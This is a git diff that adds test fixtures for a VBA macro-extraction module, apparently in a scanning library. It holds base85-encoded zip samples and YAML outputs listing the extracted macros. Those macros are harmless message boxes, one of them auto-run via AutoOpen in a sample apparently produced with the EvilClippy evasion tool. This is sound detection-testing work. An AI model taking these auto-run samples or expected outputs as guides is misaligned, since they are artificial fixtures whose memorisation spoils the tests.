zhrQ;C(@$C+q{im*%r5$a8QOyi;%#aN7%hluwVhRlhRwJ9TACI^+xxtP=7H-!H|1^x zmu(?=`B#SNhpm%6+!J=AswdaQ?VeR$8W(L)$?mI0{QE2TRam_g=km?7aPE^wg5pLO z+%R5wv^`XFhni!Cpoit_TfyVJV>xb|Y5BeJ0AfwH33JlbNMC-&b;EGL&{@(IZo4E# z)R-Y-CkKSw;mg<=UyJdoo*s>AY(a(g_w(D%aZ}Zc(;+uOT&?mZE-zLTe2hjnnz6*4 zHfX5B$JO%k>*EfU;~zRtFS>=^Q%AirGvok;+&}ue>5~213k=WZcbg&>z(gGTL*%OS zK9h4M*8cC3k+_E9!p(1C9K#T4LD^%n6*T&6ptF2n3RblrbKezk=2qp^iMzMo6GA`+ z@!_wJGE6sIrzzIjfQwx7yHGb>KD|Mv=*CE0*_ZEHzE(?vdilkAl}lWKo9|37&236s zN;&X>tF13AtpW3Dj46BcYo*cbUG9iViKIIArWIe^O}-oL&VA}48lN{Jvs_=5Ri4fr zox=->##9U(p1mxVYql+{GqxgBgwtrTLp&@6gMltlIjIek*hL|Wc+SR9=5E^SN}9t( zEg(S>D*G*6mdDtNlR!tPOq9^bfNMfW215=81bey^j`i=t?1w1Y|H_e>j@vPQ!jRK zZKJ71Z_Z8zw%MoeaT3TlVbesP7`hJ?D8$#+_VPPO&7dz^^aAAjYU4Xcilz6<`NdOi z1Y^RjVGG+zlu(MDkQ2QQx1M&=>d^788BX+x3cfpFh1j|;AYh$`_gkKT9laF9Gri#K z9_6#+H5Rau#5)XOiJWPJiPyZU?%=9ng_Da=z)vHj!&epK*Rgow10)k4*m#}^?C_(^sN*iH4obV z=#_Ou0$>}9StUg3LJ4AuX_;l-_S!l1u)eozpq$SkD~?@BGFkqI@U}+L50{^coZ)+L zRYD*NmJK4Eg7g}dqg?d8M^hTcgVzU;^-HSf0*W%D?|LLGqv6kn^fBwN5ua<`RGoTL z`7G<+8-2JZq`mTR&cb!Etow!Kb7B;zvTst$) zk{oPFa}dAnEci`2yCjaZs2BP87b$Vww8PSrW08{_(gLTfj1$P-m81 zrQX0`m-1x{KL5Sa!%qIt0T2;aYgPyj&ONW3G^!l=NTz>J9PSKnssR>&b#`*R^E6Zy z69;~kuj8|2cl|>@(Yt@VtN>vn-@k9UGmC%nyDZ_Qr)vTbLU>94Wma>qur@a#;+JMQ zhvS`Ui+V}@WuWY0J3VACQPg>ULy_XRmr|>+%CXGf48UVOzGgfkWO=jf$cCopAdg3e zFcl=%O;jm+_}8l~U?^X;|bTj!Ktma$Qqx%PuJ${_L~8TWcUkck4$&XV$rcG)}$Nl!73Qy(uX15`&9 z@{v!E^F^PqkedGZG+!pwOR5Q1+Bz}ILwSy;_q>4-Q!9z&Jo#9oW_R!oQN%fLpAP3S zS$6@x9ZL$zVy>!GnX+l~B5pkr%Ud=uQCs){eLl`5tUhztdWJ_oPv|oLWvYD?-|vAA+eM&E z)=!`!Cpl|4;aY4Bra>W5K07{-2H+CU51Qjjkb|R|u>y%K8abepD~TkVr`2 zF?a0Uq^INPIBrQ`Z8;ZW1>LNgeHQa}ku!jul`i>l#C`Wn1W#^2Fz^t>U zJVd(aP!?!PU9j3%*(q4HI{f%rIck5E`B^T4w#41~vJ(=&m8V$zDOB0G8!acUV2o}9 zv(}jW7d-OkBtzu9)3z%j8wo`rcNTTWx53vAimB@4L$u@ahF>?tL{qcG{KNu^ZyXQ4 zp?^H+5Ki&x8kBO_DI`dQ(YL!%#j~5s(8ox?mzAsAIXcADBI~Q;I%t_JrUS(!dy|q~ z4n#7e*BT!~-hIFu#Zr_7q9Qm~(Q7}RwlH^PA;b_SwST2*p4EsdhuHG%ebsNM?_otR zmR!Wcfqc}Dl*ZnFBuB|#QH?Lcm#FA1E+mRYeMys{FYD{{Z{k7Qt9rhFH z0|0?|=}G))RQo#y4e^Dqi)oB}k-12Ou0^$FZSU35C=;Z;k&4HzKzC8E;A+HwlOJJB zN|o&HYRMx8^uXPjfkLiCNV@!Kfj`cU4+jk~H{P;ZY7R}P|D0V9i)G!cGB%viJ^;u{ z!xA0Jc+Y=n`o}j5k#h4urUHfXm1!>q7H?LZ96tj`&0y3W7$RkKbjBGMTNco)vf0l? zL!Y>_Driyt8q1yT8$q&L5CjLxoV&wISyB{@pNQx~d;SuR1Dk}G#1Eo5xl!na-NN~q zASh!R?vB6!=AqA=4cZ}2g-*hmaByYl3JOHwz4Yxj4OQ&J-23hTpM{50(Zo~Z_Vv9> zt$3Q8_5x&TWA`9~2*_$az&Aa9&h|kqXo-Zf!my~Re$!F*%siBf(p*sLdnb&nj=H^&r9u8C?mUI8-7GqexpXP?d_#KL8e-y+cYbUCg6ObU^lG)16F2U=1x&Q zag#K~qOj;FJ1cG;{t4LNrV|_6AC*-*t0U}UNB>8G^?yJ6qrm!KTXVvnv;PM@Ry!+B Su0O9j0_@L#<3r~^SN{S3!2q}b literal 0 HcmV?d00001 diff --git a/lib/src/modules/vba/tests/testdata/643d1e3b68c1e31aef5779eb28ac3b0aaa284c91c47c26cfc2dbb3bc7f569103.out b/lib/src/modules/vba/tests/testdata/643d1e3b68c1e31aef5779eb28ac3b0aaa284c91c47c26cfc2dbb3bc7f569103.out new file mode 100644 index 00000000..f7d86e0b --- /dev/null +++ b/lib/src/modules/vba/tests/testdata/643d1e3b68c1e31aef5779eb28ac3b0aaa284c91c47c26cfc2dbb3bc7f569103.out @@ -0,0 +1,26 @@ +has_macros: true +modules: + - name: "ThisDocument" + type: MODULE_TYPE_CLASS + code: | + Attribute VB_Name = "ThisDocument" + Attribute VB_Base = "1Normal.ThisDocument" + Attribute VB_GlobalNameSpace = False + Attribute VB_Creatable = False + Attribute VB_PredeclaredId = True + Attribute VB_Exposed = True + Attribute VB_TemplateDerived = True + Attribute VB_Customizable = True + + Private Sub Document_New() + MsgBox "Hello, world!" + End Sub + +project_info: + name: "Project" + version: "1769106437.10" + references: + - "stdole" + - "Normal" + - "Office" + module_count: 1 \ No newline at end of file diff --git a/lib/src/modules/vba/tests/testdata/7972ee9287cfcce00dc23098dce4ea8ed32e2dff629342e5364a48cd9c01bcb8.in.zip b/lib/src/modules/vba/tests/testdata/7972ee9287cfcce00dc23098dce4ea8ed32e2dff629342e5364a48cd9c01bcb8.in.zip new file mode 100644 index 0000000000000000000000000000000000000000..441b4991668212005bd9c6c12ea1ced55fdaf433 GIT binary patch literal 10077 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 IJ9g}U0OTul*#H0l literal 0 HcmV?d00001 diff --git a/lib/src/modules/vba/tests/testdata/7972ee9287cfcce00dc23098dce4ea8ed32e2dff629342e5364a48cd9c01bcb8.out b/lib/src/modules/vba/tests/testdata/7972ee9287cfcce00dc23098dce4ea8ed32e2dff629342e5364a48cd9c01bcb8.out new file mode 100644 index 00000000..dbfab6ea --- /dev/null +++ b/lib/src/modules/vba/tests/testdata/7972ee9287cfcce00dc23098dce4ea8ed32e2dff629342e5364a48cd9c01bcb8.out @@ -0,0 +1,34 @@ +has_macros: true +modules: + - name: "ThisDocument" + type: MODULE_TYPE_CLASS + code: | + Attribute VB_Name = "ThisDocument" + Attribute VB_Base = "1Normal.ThisDocument" + Attribute VB_GlobalNameSpace = False + Attribute VB_Creatable = False + Attribute VB_PredeclaredId = True + Attribute VB_Exposed = True + Attribute VB_TemplateDerived = True + Attribute VB_Customizable = True + + - name: "模块1" + type: MODULE_TYPE_STANDARD + code: | + Attribute VB_Name = "??1" + Sub Auto_Open() + MsgBox "EvilClippy ²âÊԳɹ¦£¡", vbInformation, "²âÊÔ֪ͨ" + End Sub + + Sub AutoOpen() + Auto_Open + End Sub + +project_info: + name: "Project" + version: "1812056321.6" + references: + - "stdole" + - "Normal" + - "Office" + module_count: 2 \ No newline at end of file diff --git a/lib/src/modules/vba/tests/testdata/7c1bfa4a65cbc5c914eb4df0676d92d89001e96ac2719e5459108c983f4eef73.in.zip b/lib/src/modules/vba/tests/testdata/7c1bfa4a65cbc5c914eb4df0676d92d89001e96ac2719e5459108c983f4eef73.in.zip new file mode 100644 index 0000000000000000000000000000000000000000..ca1f64495810f14a84f7bb2de2930b7b14889ca0 GIT binary patch literal 15383 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 